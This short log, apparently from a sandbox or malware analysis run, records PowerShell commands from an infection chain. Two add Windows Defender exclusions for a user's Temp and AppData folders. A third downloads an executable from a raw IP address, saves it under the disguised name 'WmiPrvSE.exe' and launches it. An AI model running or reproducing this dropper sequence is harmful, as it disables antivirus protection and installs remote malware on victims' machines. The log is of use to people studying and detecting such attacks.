powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp"
2072powershell.exe "powershell" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData"
2120powershell.exe "powershell" -Command "Invoke-WebRequest -Uri 'http://193.222.96.225/server/website2014523652458952/blue/Gcode_Secure/Gcode.exe' -OutFile 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'; Start-Process 'C:\Users\test22\AppData\Roaming\WmiPrvSE.exe'"
2776